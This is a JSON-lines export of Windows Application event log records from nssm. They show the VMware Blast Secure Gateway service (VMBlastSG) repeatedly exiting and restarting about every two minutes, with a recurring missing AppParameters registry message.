{"@timestamp":1646690578604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152964","152964","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157876}}
{"@timestamp":1646690578621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157877}}
{"@timestamp":1646690578621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157878}}
{"@timestamp":1646690578622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157879}}
{"@timestamp":1646690578623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157880}}
{"@timestamp":1646690707530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157881}}
{"@timestamp":1646690707531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157882}}
{"@timestamp":1646690707532,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152796","0"]}}},"module":"Application","provider":"nssm","sequence":157883}}
{"@timestamp":1646690707533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152796","152796","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157884}}
{"@timestamp":1646690707550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157885}}
{"@timestamp":1646690707552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157886}}
{"@timestamp":1646690707553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157887}}
{"@timestamp":1646690707554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157888}}
{"@timestamp":1646690836081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157889}}
{"@timestamp":1646690836081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157890}}
{"@timestamp":1646690836082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155128","0"]}}},"module":"Application","provider":"nssm","sequence":157891}}
{"@timestamp":1646690836082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155128","155128","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157892}}
{"@timestamp":1646690836098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157893}}
{"@timestamp":1646690836099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157894}}
{"@timestamp":1646690836100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157895}}
{"@timestamp":1646690836100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157896}}
{"@timestamp":1646690964643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157897}}
{"@timestamp":1646690964644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157898}}
{"@timestamp":1646690964644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153072","0"]}}},"module":"Application","provider":"nssm","sequence":157899}}
{"@timestamp":1646690964645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153072","153072","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157900}}
{"@timestamp":1646690964660,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153304","0"]}}},"module":"Application","provider":"nssm","sequence":157901}}
{"@timestamp":1646690964661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153304","153072","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157902}}
{"@timestamp":1646690964675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157903}}
{"@timestamp":1646690964675,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157904}}
{"@timestamp":1646690964676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157905}}
{"@timestamp":1646690964677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157906}}
{"@timestamp":1646691093181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157907}}
{"@timestamp":1646691093182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157908}}
{"@timestamp":1646691093183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155424","0"]}}},"module":"Application","provider":"nssm","sequence":157909}}
{"@timestamp":1646691093183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155424","155424","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157910}}
{"@timestamp":1646691093199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157911}}
{"@timestamp":1646691093200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157912}}
{"@timestamp":1646691093200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157913}}
{"@timestamp":1646691093201,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157914}}
{"@timestamp":1646691221792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157915}}
{"@timestamp":1646691221794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157916}}
{"@timestamp":1646691221795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150776","0"]}}},"module":"Application","provider":"nssm","sequence":157917}}
{"@timestamp":1646691221795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150776","150776","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157918}}
{"@timestamp":1646691221811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157919}}
{"@timestamp":1646691221812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157920}}
{"@timestamp":1646691221812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157921}}
{"@timestamp":1646691221813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157922}}
{"@timestamp":1646691350321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157923}}
{"@timestamp":1646691350323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157924}}
{"@timestamp":1646691350323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155240","0"]}}},"module":"Application","provider":"nssm","sequence":157925}}
{"@timestamp":1646691350324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155240","155240","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157926}}
{"@timestamp":1646691350341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157927}}
{"@timestamp":1646691350342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157928}}
{"@timestamp":1646691350342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157929}}
{"@timestamp":1646691350343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157930}}
{"@timestamp":1646691478862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157931}}
{"@timestamp":1646691478862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157932}}
{"@timestamp":1646691478863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155548","0"]}}},"module":"Application","provider":"nssm","sequence":157933}}
{"@timestamp":1646691478863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155548","155548","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157934}}
{"@timestamp":1646691478879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154516","0"]}}},"module":"Application","provider":"nssm","sequence":157935}}
{"@timestamp":1646691478880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154516","155548","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157936}}
{"@timestamp":1646691478929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157937}}
{"@timestamp":1646691478930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157938}}
{"@timestamp":1646691478930,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157939}}
{"@timestamp":1646691478931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157940}}
{"@timestamp":1646691607429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157941}}
{"@timestamp":1646691607430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157942}}
{"@timestamp":1646691607430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","138412","0"]}}},"module":"Application","provider":"nssm","sequence":157943}}
{"@timestamp":1646691607431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["138412","138412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157944}}
{"@timestamp":1646691607446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155008","0"]}}},"module":"Application","provider":"nssm","sequence":157945}}
{"@timestamp":1646691607447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155008","138412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157946}}
{"@timestamp":1646691607461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157947}}
{"@timestamp":1646691607461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157948}}
{"@timestamp":1646691607462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157949}}
{"@timestamp":1646691607463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157950}}
{"@timestamp":1646691735969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157951}}
{"@timestamp":1646691735971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157952}}
{"@timestamp":1646691735972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154352","0"]}}},"module":"Application","provider":"nssm","sequence":157953}}
{"@timestamp":1646691735972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154352","154352","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157954}}
{"@timestamp":1646691735987,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157955}}
{"@timestamp":1646691735988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157956}}
{"@timestamp":1646691735988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157957}}
{"@timestamp":1646691735989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157958}}
{"@timestamp":1646691864496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157959}}
{"@timestamp":1646691864498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157960}}
{"@timestamp":1646691864498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155268","0"]}}},"module":"Application","provider":"nssm","sequence":157961}}
{"@timestamp":1646691864499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155268","155268","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157962}}
{"@timestamp":1646691864514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157963}}
{"@timestamp":1646691864515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157964}}
{"@timestamp":1646691864515,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157965}}
{"@timestamp":1646691864516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157966}}
{"@timestamp":1646691993018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157967}}
{"@timestamp":1646691993020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157968}}
{"@timestamp":1646691993021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155556","0"]}}},"module":"Application","provider":"nssm","sequence":157969}}
{"@timestamp":1646691993021,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155556","155556","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157970}}
{"@timestamp":1646691993037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157971}}
{"@timestamp":1646691993038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157972}}
{"@timestamp":1646691993038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157973}}
{"@timestamp":1646691993039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157974}}
{"@timestamp":1646692121606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157975}}
{"@timestamp":1646692121606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157976}}
{"@timestamp":1646692121607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153500","0"]}}},"module":"Application","provider":"nssm","sequence":157977}}
{"@timestamp":1646692121607,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153500","153500","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157978}}
{"@timestamp":1646692121623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157979}}
{"@timestamp":1646692121624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157980}}
{"@timestamp":1646692121624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157981}}
